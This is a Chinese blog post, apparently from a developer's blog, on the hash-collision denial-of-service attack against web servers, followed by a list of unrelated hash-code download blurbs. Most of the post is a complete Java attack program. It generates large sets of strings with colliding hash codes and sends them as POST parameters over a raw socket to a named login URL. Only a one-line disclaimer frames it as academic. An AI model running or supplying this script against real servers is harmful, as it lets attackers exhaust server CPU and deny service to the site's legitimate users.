最近看Web安全,看到最近这篇文章:Hash Collision DoS 问题
。
原理很简单,利用现有语言服务器的hash code实现缺陷,构造大量hash code相等的字符串,做成post的参数,让服务器忙于创建和查询hash map,从而是服务器拒绝服务。详细描述可以看上面那篇文章。
我试着写了个攻击的例子代码:
import java.io.BufferedReader;
import java.io.BufferedWriter;
import java.io.IOException;
import java.io.OutputStreamWriter;
import java.net.MalformedURLException;
import java.net.Socket;
import java.net.URL;
import java.util.ArrayList;
import java.util.List;
public class HashCollisionDosAttack {
private final String[] srcs= {"Aa", "BB"};
private List<String> getStrings(int n) {
List<String> strlist = new ArrayList<String>();
int round = (int) Math.pow(2, n);
for (int i = 0; i < round; ++i) {
strlist.add(getString(i, n));
}
return strlist;
}
private String getString(int index, int n) {
String str = "";
int[] bytes = getBytesOf(index, n);
for (int i = 0; i < bytes.length; ++i) {
str += srcs[bytes[i]];
}
return str;
}
private int[] getBytesOf(int index, int n) {
int[] bytes = new int[n];
for (int i = 0; i < n; ++i) {
bytes[n - i - 1] = 1 & (index >> i);
}
return bytes;
}
private void post(URL url, String params) {
Socket socket = null;
BufferedWriter bw = null;
BufferedReader br= null;
try {
socket = new Socket(url.getHost(), url.getPort());
bw = new BufferedWriter(new OutputStreamWriter(socket.getOutputStream()));
bw.write("POST " + url.getPath() + " HTTP/1.1\r\n");
bw.write("Host: " + url.getHost() + "\r\n");
bw.write("Content-Type: application/x-www-form-urlencoded\r\n");
bw.write("Content-Length: " + params.length() + "\r\n");
bw.write("Connection: Keep-Alive\r\n");
bw.write("\r\n");
bw.write(params);
bw.flush();
// br = new BufferedReader(new InputStreamReader(socket.getInputStream(),"UTF-8"));
// String line;
// while ((line = br.readLine()) != null) {
// System.out.println(line);
// }
// System.out.println(params);
} catch (Exception e) {
e.printStackTrace();
} finally {
if (null != socket) {
try {
socket.close();
} catch (IOException e) {
e.printStackTrace();
}
}
if (null != bw) {
try {
bw.close();
} catch (IOException e) {
e.printStackTrace();
}
}
if (null != br) {
try {
br.close();
} catch (IOException e) {
e.printStackTrace();
}
}
}
}
public void attack(String urlStr, int n) throws MalformedURLException {
String params = "";
for (int i = 1; i <= n; ++i) {
params += buildParams(getStrings(i));
}
URL url = new URL(urlStr);
post(url, params);
}
private String buildParams(List<String> strings) {
String params = "";
for (String str : strings) {
params += str + "=x&";
params.hashCode();
}
return params;
}
public static void main(String[] args) throws MalformedURLException {
HashCollisionDosAttack attack = new HashCollisionDosAttack();
attack.attack("http://frigile.com/login/login.htm", 15);
}
}
仅作学术交流,请勿用于非法目的。
分享到:
相关推荐
Java实现的Hash Collision DoS Attack
NULL 博文链接:https://goodscript.iteye.com/blog/1338973
警惕Hash Collision Dos.pdf
本程序是c++程序,实现MD5的hash摘要
uthash 是C的比较优秀的开源代码,它实现了常见的hash操作函数,例如查找、插入、删除等待。该套开源代码采用宏的方式实现hash函数的相关功能,支持C语言的任意数据结构最为key值,甚至可以采用多个值作为key,无论...
hash算法C代码实现 标准接口函数 方便修改hash函数
C语言实现的Hash表(代码)。C语言实现的Hash表(代码)。C语言实现的Hash表(代码)。C语言实现的Hash表(代码)。
AHash 是目前 Rust中最快的、 抗 DOS 的哈希。AHash专门用于内存中的哈希映射。 AHash 的输出质量很高 因为AHash是keyed hash,每个map会产生完全不同的hash,不知道key是无法预测的。 这可以防止 DOS 攻击,其中...
莫尔斯电码哈希碰撞检测器这是什么? 这个小工具将相当于字母表中每个字母的二进制莫尔斯电码转换为一个数字。 这个数字可以用作表的索引。你为什么需要这个? 如果您正在尝试莫尔斯电码挑战,此工具会计算将二进制...
这是几种经典的Hash算法的实现(源代码),里面源代码和文字解说都有
IT笔试面试--链地址Hash表的代码实现,运行正确+详细注释,链地址Hash是最常用的Hash算法。
项目中使用的 GEOhash 算法, 在网上公开的GEOhash demo基础上, 做了升级, 功能: 1. 根据指定坐标生成 GEOhash对象 2. 根据当前坐标(GEOhash对象)获取周边8/9个GEOhash对象 3. [升级]根据当前坐标获取指定半径...
Hash函数代码,便于结合原理与实践。你可以下载后学习,更希望你能分享出更好的代码
适用于Hashin失效准则,计算材料断裂。
利用libtomcrypt库进行sha1、sha512等的值计算
本人的数据结构实习作业“基于Hash表的代码相似度度量”,代码简洁明了,可读性强,并附带较多的注释,方便他人查看。一般通过查看注释便能了解程序的结构与功能,方便进行修改。以下是实习作业的具体要求: 对于两...
学习hash表时候的代码,文档+代码,很容易看懂
支持对文档以及字符串进行HASH运算
网上有很多geohash算法的实现,都是基于java或者php代码实现的,没有sql实现的版本,这里使用mysql简单实现了这个算法